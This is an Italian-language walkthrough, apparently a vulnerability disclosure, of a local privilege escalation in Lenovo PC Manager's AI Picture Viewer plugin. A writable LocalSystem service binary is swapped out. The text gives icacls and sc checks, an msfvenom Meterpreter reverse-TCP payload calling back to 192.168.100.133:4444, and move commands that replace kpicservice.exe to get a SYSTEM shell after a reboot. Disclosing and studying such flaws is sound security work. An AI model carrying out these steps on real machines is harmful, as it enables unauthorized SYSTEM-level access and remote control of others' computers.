
Dimostrazione passo-passo di una vulnerabilità di escalation locale dei privilegi in Lenovo PC Manager, che sfrutta permessi deboli sui file di un servizio di sistema per ottenere accesso SYSTEM tramite sostituzione del payload.
Scoperto accidentalmente durante lo studio dell'elevazione dei privilegi locali.
In qualsiasi versione del Lenovo PC Manager, gli strumenti hanno una vulnerabilità di autorizzazione: qualsiasi strumento scaricato concede all'utente normale il permesso F (controllo completo).

Poiché gli strumenti di tutte le versioni presentano problemi di autorizzazione, un utente normale può ottenere i permessi di admin. Qui utilizziamo il plugin AI Picture Viewer come dimostrazione, poiché ha un servizio con privilegi di sistema che può essere elevato a system. Prima della versione 5.1.100.1102, Lenovo PC Manager includeva il plugin AI Picture Viewer.

Dopo aver installato il plugin AI Picture Viewer, esiste un servizio persistente.
C:\ProgramData\Lenovo\devicecenter\modules\aipicture\5.1.80.8121\kpicservice.exe

Utilizzare icacls per visualizzare le autorizzazioni del file.

Si scopre che l'autorizzazione degli utenti normali è I F, controllo completo. Creare un utente normale.

Dal punto di vista dell'attacco, quando il gruppo Administrators non è connesso, è necessario disconnettere tutti gli utenti, quindi entrare come utente user1 e utilizzare sc per visualizzare il servizio, il cui utente è LocalSystem.
sc qc KPICService_Lenovo

Il file C:\ProgramData\Lenovo\devicecenter\modules\aipicture\5.1.80.8121\kpicservice.exe è quello su cui l'utente normale ha il controllo completo.

Tuttavia, a causa delle limitazioni, il servizio rimane in esecuzione e l'utente normale necessita dei privilegi di admin per fermarlo.
Proviamo un approccio diverso: poiché l'utente normale ha il controllo completo, può spostare il file. Al riavvio, il servizio legge il percorso configurato e avvia comunque kpicservice.exe come LocalSystem.
Ora passiamo all'azione: generiamo un kpicservice.exe.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.100.133 LPORT=4444 -f exe -o kpicservice.exe
Allo stesso tempo, spostiamo il file originale e sostituiamo il file kpicservice.exe originale con la shell.
move C:\ProgramData\Lenovo\devicecenter\modules\aipicture\5.1.80.8121\kpicservice.exe kpicservice.exe
move Desktop\kpicservice.exe C:\ProgramData\Lenovo\devicecenter\modules\aipicture\5.1.80.8121\kpicservice.exe

A questo punto, riavviando il dispositivo, il servizio avvierà il file kpicservice sostituito nel percorso, ottenendo i privilegi di system.
